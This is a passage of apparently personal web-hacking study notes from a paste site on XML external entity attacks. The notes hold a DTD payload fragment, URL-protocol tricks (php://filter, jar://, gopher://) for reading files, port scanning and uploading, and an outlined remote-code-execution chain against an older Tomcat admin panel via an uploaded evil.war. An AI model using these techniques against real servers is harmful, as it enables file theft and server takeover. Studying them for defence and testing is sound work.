  883. <!ENTITY % dtd SYSTEM "">
  884. //By writing it out we are effectively executing the parameter entity as an entity
  885. %dtd;
  886. ]>
  888. //This is the join.dtd on our website
  889. <!ENTITY all "%start;%file;%end">
  891. //This is the field
  892. <name>&all;</name>
  894. This allows you to read well-formed xml documents (you can probably also use this to port scan internal services by doing http:// instead of file://). Still some restrictions:
  895. 1) Needs well-formed XML document //Not sure if this is true.
  896. 2) No binary
  897. 3) Still requires that you get that data back somehow (for example by viewing your profile)
  899. (*)(EXPLOIT) You can do even better. You can make it so that you don't have to get the data back somehow. Refer to 12:52 in the video.
  900. 1) Still no binary
  901. 2) either " or ' will cause the error
  902. 3) # will cause URL truncation //both 2) and 3) are because of the send entity. If you imagine how variables are placed into that query, you'll understand why that is.
  904. (*) You can use URL protocols to do cool things. External entity support may or may not be necessary (depends if you do the inclusion in <!ENTITY ...> or <!DOCTYPE ...>)
  905. Note: This is (as I understand it) done by doing the thing where you ask the parser to pull a DTD from a website.
  906. Look at 15:21 of video to see which platforms give you which options (also read the whitepaper in the [+] above this one.
  909. For example, if they're using PHP, you can get also get any file format through the use of URL protocols. (php://filter/convert.base64-encode/resource= - the base64 transition)
  911. (*)Java - use file:// for directory listings.
  912. Use jar:// to (20:00)
  913. 1)retrieve a zip file from the internet (allows for DoS via decompression bombs or via filling up filling up temporary space)
  914. 2)look inside zip directories (like jar, zip, docx, xlsx) and retrieve files
  915. 3)File upload to the remote server (21:22).
  916. If the java is old (pre september 2012. 1.7u7, 1.6u32 and earlier), then gopher:// can be used to send arbitrary data (17:43) (useful for internal network CSRF, port scanning, exploiting secondary network vulns)
  918. (*)(EXPLOIT) Remote Code Execution scenario on older Tomcat server with a private admin panel on the backend:
  919. 1) Supposing that the server gives you back the data, you can use jar's file:// to explore the server and see directory listings.
  920. 2) Let's say you find Tomcat-users.xml (lists users that have access to the private admin interface)
  921. 3) Upload file to server - evil.war. Hang the connection so the temporary uploaded file stays on the server.
  922. 4) Find our file using directory listings
  923. 5) Use gopher to authenticate against the admin interface (instead of using gopher you could CSRF an internal user (probably by using XML entities for the CSRF) and still get the same result)
  924. 6) Use the admin interface to deploy the temp file as a new app
  925. 7) ???
  926. 8) Ca$h m0n3y!
  928. ------------------------------------------------
  929. WAF bypassing/Web application firewall bypassing
  930. ------------------------------------------------
  934. Various
  935. ---------------
  936. Virtual Machine
  937. ---------------
  938. Connecting to the VM:
  939. Edit /etc/interfaces to make the ip static. Make the ip be in the same range as the adapter and set the gateway to the adapter
  940. sudo nano /etc/network/interfaces
  941. iface eth0 inet static
  942. address
  943. netmask
  944. gateway
  945. sudo ifdown eth0
  946. sudo ifup eth0
Add Comment
Please, Sign In to add comment